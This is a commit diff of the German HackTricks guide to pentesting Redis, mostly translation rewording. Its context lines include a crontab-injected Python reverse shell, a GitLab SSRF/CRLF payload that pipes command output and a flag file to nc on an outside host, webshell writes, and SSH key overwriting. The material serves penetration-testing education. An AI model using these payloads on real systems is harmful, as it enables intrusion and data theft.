mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
f989307701
commit
0b81b00819
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Aus [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), in-memory **Datenstruktur-Speicher**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
|
||||
Von [den Dokumenten](https://redis.io/topics/introduction): Redis ist ein Open-Source (BSD-lizenziert), in-memory **Datenstruktur-Speicher**, der als **Datenbank**, Cache und Nachrichtenbroker verwendet wird.
|
||||
|
||||
Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen beachten, dass es auch **ssl/tls** implementieren kann. Erfahren Sie, wie Sie [Redis mit ssl/tls hier ausführen](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
@ -26,7 +26,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
||||
|
||||
Redis ist ein **textbasiertes Protokoll**, Sie können einfach **den Befehl in einem Socket senden** und die zurückgegebenen Werte sind lesbar. Denken Sie auch daran, dass Redis mit **ssl/tls** betrieben werden kann (aber das ist sehr ungewöhnlich).
|
||||
|
||||
In einer regulären Redis-Instanz können Sie sich einfach mit `nc` verbinden oder Sie könnten auch `redis-cli` verwenden:
|
||||
In einer regulären Redis-Instanz können Sie einfach mit `nc` verbinden oder Sie könnten auch `redis-cli` verwenden:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
@ -44,7 +44,7 @@ Es ist möglich, ein **Passwort** in der _**redis.conf**_-Datei mit dem Paramete
|
||||
Außerdem kann ein **Benutzername** im Parameter `masteruser` innerhalb der _**redis.conf**_-Datei konfiguriert werden.
|
||||
|
||||
> [!NOTE]
|
||||
> Wenn nur ein Passwort konfiguriert ist, ist der verwendete Benutzername "**default**".\
|
||||
> Wenn nur ein Passwort konfiguriert ist, wird der verwendete Benutzername "**default**" sein.\
|
||||
> Beachten Sie auch, dass es **keine Möglichkeit gibt, extern zu erkennen**, ob Redis nur mit Passwort oder Benutzername+Passwort konfiguriert wurde.
|
||||
|
||||
In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um mit Redis zu interagieren, sodass Sie versuchen könnten, es [**brute-force**](../generic-hacking/brute-force.md#redis) anzugreifen.\
|
||||
@ -52,7 +52,7 @@ In Fällen wie diesem müssen Sie **gültige Anmeldeinformationen finden**, um m
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
**Gültige Anmeldeinformationen** werden mit folgendem beantwortet: `+OK`
|
||||
**Gültige Anmeldeinformationen** werden mit: `+OK` beantwortet
|
||||
|
||||
### **Authentifizierte Aufzählung**
|
||||
|
||||
@ -79,7 +79,7 @@ Finden Sie weitere interessante Informationen über weitere Redis-Befehle hier:
|
||||
|
||||
### **Datenbank dumpen**
|
||||
|
||||
Innerhalb von Redis sind die **Datenbanken Zahlen, die bei 0 beginnen**. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls `info` im "Keyspace"-Abschnitt überprüfen:
|
||||
Innerhalb von Redis sind die **Datenbanken Zahlen, die bei 0 beginnen**. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls `info` im Abschnitt "Keyspace" überprüfen:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -96,9 +96,9 @@ KEYS *
|
||||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
Falls Sie den folgenden Fehler `-WRONGTYPE Operation against a key holding the wrong kind of value` erhalten, während Sie `GET <KEY>` ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als eine Zeichenfolge oder eine Ganzzahl ist und einen speziellen Operator benötigt, um ihn anzuzeigen.
|
||||
Falls Sie den folgenden Fehler `-WRONGTYPE Operation against a key holding the wrong kind of value` erhalten, während Sie `GET <KEY>` ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als eine Zeichenkette oder eine Ganzzahl ist und einen speziellen Operator benötigt, um ihn anzuzeigen.
|
||||
|
||||
Um den Typ des Schlüssels zu erfahren, verwenden Sie den Befehl `TYPE`, Beispiel unten für Listen- und Hash-Schlüssel.
|
||||
Um den Typ des Schlüssels zu kennen, verwenden Sie den Befehl `TYPE`, Beispiel unten für Listen- und Hash-Schlüssel.
|
||||
```bash
|
||||
TYPE <KEY>
|
||||
[ ... Type of the Key ... ]
|
||||
@ -134,7 +134,7 @@ OK
|
||||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
Wenn die Webshell-Zugriffs-Ausnahme auftritt, können Sie die Datenbank nach der Sicherung leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
|
||||
Wenn der Webshell-Zugriff fehlschlägt, können Sie die Datenbank nach der Sicherung leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.
|
||||
|
||||
### Template Webshell
|
||||
|
||||
@ -182,6 +182,8 @@ OK
|
||||
|
||||
**Diese Technik ist hier automatisiert:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Zusätzlich können Systembenutzer auch entdeckt werden, indem Sie mit `config set dir /home/USER` überprüfen, und nach Bestätigung kann ein neues `authorized_keys` in `/home/USER/.ssh/authorized_keys` geschrieben werden. Verwenden Sie [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh), um dies mit einer Benutzernamen-Wortliste zu bruteforcen und `authorized_keys` zu überschreiben.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -217,7 +219,7 @@ Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen :[yam](https
|
||||
|
||||
### LUA-Sandbox-Umgehung
|
||||
|
||||
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) können Sie sehen, dass Redis den Befehl **EVAL** verwendet, um **Lua-Code in einer Sandbox** auszuführen. Im verlinkten Beitrag können Sie sehen, **wie man es missbraucht**, indem man die **dofile**-Funktion verwendet, aber [anscheinend](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ist dies nicht mehr möglich. Wenn Sie die **Lua**-Sandbox jedoch **umgehen** können, könnten Sie **beliebige** Befehle auf dem System **ausführen**. Außerdem können Sie im selben Beitrag einige **Optionen sehen, um DoS zu verursachen**.
|
||||
[**Hier**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) können Sie sehen, dass Redis den Befehl **EVAL** verwendet, um **Lua-Code in einer Sandbox** auszuführen. Im verlinkten Beitrag können Sie sehen, **wie man es missbraucht**, indem man die **dofile**-Funktion verwendet, aber [offensichtlich](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ist dies nicht mehr möglich. Wenn Sie die **Lua**-Sandbox jedoch **umgehen** können, könnten Sie **beliebige** Befehle auf dem System ausführen. Außerdem können Sie im selben Beitrag einige **Optionen sehen, um DoS zu verursachen**.
|
||||
|
||||
Einige **CVEs zur Umgehung von LUA**:
|
||||
|
||||
@ -225,7 +227,7 @@ Einige **CVEs zur Umgehung von LUA**:
|
||||
|
||||
### Master-Slave-Modul
|
||||
|
||||
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir selbst kontrollieren. Dann können wir den Befehl in unser eigenes Redis eingeben.
|
||||
Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir kontrollieren, und dann können wir den Befehl an unser eigenes Redis eingeben.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -237,7 +239,7 @@ redis-cli -h 10.85.0.51 -p 6379
|
||||
set mykey hello
|
||||
set mykey2 helloworld
|
||||
```
|
||||
## SSRF spricht mit Redis
|
||||
## SSRF mit Redis
|
||||
|
||||
Wenn Sie **Klartext**-Anfragen **an Redis** senden können, können Sie **mit ihm kommunizieren**, da Redis die Anfrage zeilenweise liest und nur mit Fehlern auf die Zeilen antwortet, die es nicht versteht:
|
||||
```
|
||||
@ -253,7 +255,7 @@ Daher, wenn Sie eine **SSRF vuln** auf einer Website finden und Sie einige **Hea
|
||||
|
||||
### Beispiel: Gitlab SSRF + CRLF zu Shell
|
||||
|
||||
In **Gitlab11.4.7** wurde eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-Vuln wurde einfach ausgenutzt, indem **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
|
||||
In **Gitlab11.4.7** wurde eine **SSRF**-Schwachstelle und eine **CRLF** entdeckt. Die **SSRF**-Schwachstelle befand sich in der **Importprojekt von URL-Funktionalität**, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form \[0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die **CRLF**-Vuln wurde ausgenutzt, indem einfach **%0D%0A**-Zeichen zur **URL** hinzugefügt wurden.
|
||||
|
||||
Daher war es möglich, **diese Schwachstellen auszunutzen, um mit der Redis-Instanz zu kommunizieren**, die **Warteschlangen** von **gitlab** verwaltet, und diese Warteschlangen auszunutzen, um **Codeausführung zu erhalten**. Die Payload für den Missbrauch der Redis-Warteschlange ist:
|
||||
```
|
||||
@ -262,10 +264,10 @@ sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
Und die **URL encode** Anfrage **missbraucht SSRF** und **CRLF**, um ein `whoami` auszuführen und die Ausgabe über `nc` zurückzusenden, ist:
|
||||
Und die **URL-Encode**-Anfrage **missbraucht SSRF** und **CRLF**, um ein `whoami` auszuführen und die Ausgabe über `nc` zurückzusenden, ist:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_aus irgendeinem Grund (wie für den Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
|
||||
_aus irgendeinem Grund (wie beim Autor von_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _woher diese Informationen stammen) funktionierte die Ausnutzung mit dem `git`-Schema und nicht mit dem `http`-Schema._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user